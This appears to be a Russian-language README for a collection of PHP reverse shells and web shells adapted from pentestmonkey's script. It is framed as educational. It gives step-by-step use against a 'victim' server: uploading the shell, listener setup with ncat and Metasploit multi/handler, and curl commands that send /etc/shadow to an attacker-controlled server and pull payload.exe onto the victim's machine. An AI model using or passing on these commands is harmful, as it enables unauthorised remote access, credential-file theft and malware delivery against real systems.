
PHP-шеллы, работающие на Linux OS, macOS и Windows OS.
Небольшое обновление популярного скрипта PHP reverse shell pentestmonkey/php-reverse-shell. Благодарность исходному автору!
Работает в ОС Linux и macOS с /bin/sh и в ОС Windows с cmd.exe. Скрипт автоматически определит базовую ОС.
Работает как с ncat, так и с multi/handler.
Протестировано на:
Конвейеры процессов в ОС Windows не поддерживают асинхронные операции, поэтому stream_set_blocking(), stream_select() и feof() будут работать некорректно, но я нашёл обходной путь.
Сделано в образовательных целях. Надеюсь, это поможет!
Для /src/reverse/php_reverse_shell.php требуется PHP v5.0.0 или выше.
Для /src/reverse/php_reverse_shell_older.php требуется PHP v4.3.0 или выше.
При необходимости измените IP-адрес и номер порта внутри скриптов.
Скопируйте /src/reverse/php_reverse_shell.php в корневой веб-каталог вашего сервера (например, в /opt/lampp/htdocs/ на XAMPP) или загрузите его на веб-сервер цели.
Перейдите к файлу в вашем любимом веб-браузере.
Ознакомьтесь с простой PHP веб-оболочкой на основе HTTP POST-запроса.
Ознакомьтесь с простой PHP веб-оболочкой на основе HTTP GET-запроса. Вы должны URL-кодировать свои команды.
Ознакомьтесь с простой PHP веб-оболочкой v2 на основе HTTP GET-запроса. Вы должны URL-кодировать свои команды.
Ознакомьтесь с простым PHP-скриптом для загрузки и скачивания файлов на основе HTTP POST-запроса для загрузки файлов и HTTP GET-запроса для скачивания файлов.
При скачивании файла вы должны URL-кодировать путь к файлу.
В зависимости от конфигурации сервера скачивание файла через параметр HTTP GET-запроса может работать не всегда; вместо этого вам придётся жёстко прописать путь к файлу в скрипте.
Перейдите к скрипту на веб-сервере жертвы в вашем любимом веб-браузере или используйте cURL со своего ПК.
Загрузите файл из вашего ПК в корневой веб-каталог сервера:
curl -skL -X POST https://victim.com/files.php -F file=@/root/payload.exe
Скачайте файл с сервера на ваш ПК:
curl -skL -X GET https://victim.com/files.php?file=/etc/shadow -o shadow
Если вы повысили свои первоначальные привилегии в рамках reverse shell, у этого скрипта может не быть таких же привилегий, как у оболочки. В этом случае, чтобы скачать определённый файл, вам может потребоваться скопировать файл в корневой веб-каталог и установить необходимые права на чтение.
Из вашей PHP reverse shell выполните следующие команды cURL.
Загрузите файл с ПК жертвы в корневой веб-каталог вашего сервера:
curl -skL -X POST https://my-server.com/files.php -F file=@/etc/shadow
Скачайте файл из корневого веб-каталога вашего сервера на ПК жертвы:
curl -skL -X GET https://my-server.com/files.php?file=/root/payload.exe -o payload.exe
curl -skL -X GET https://my-server.com/payload.exe -o payload.exe
Чтобы настроить слушателя, откройте предпочитаемую консоль в Kali Linux и выполните один из примеров ниже.
Настройте слушатель ncat:
ncat -nvlp 9000
Настройте слушатель multi/handler:
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit

Рисунок 1 - Ncat

Рисунок 2 - Дамп скрипта